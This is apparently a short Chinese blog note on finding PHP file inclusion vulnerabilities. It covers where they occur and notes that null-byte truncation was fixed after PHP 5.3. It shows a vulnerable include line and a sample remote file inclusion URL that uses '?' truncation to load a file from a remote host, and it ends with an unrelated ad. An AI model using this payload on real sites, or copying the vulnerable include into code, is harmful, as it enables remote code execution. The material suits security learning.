挖洞经验

文件包含漏洞大多出现在模块加载、模板加载以及cache调用的地方
%00和./截断在php5.3版本之后被修复了
?号截断(远程文件版本)时使用,?后门的内容会被当做参数
include $_GET['a'].'.php';
/1.php?a=http://remotehost/2.txt?

【推广】免费学中医，健康全家人

原文地址：https://www.cnblogs.com/lyxsalyd/p/12600798.html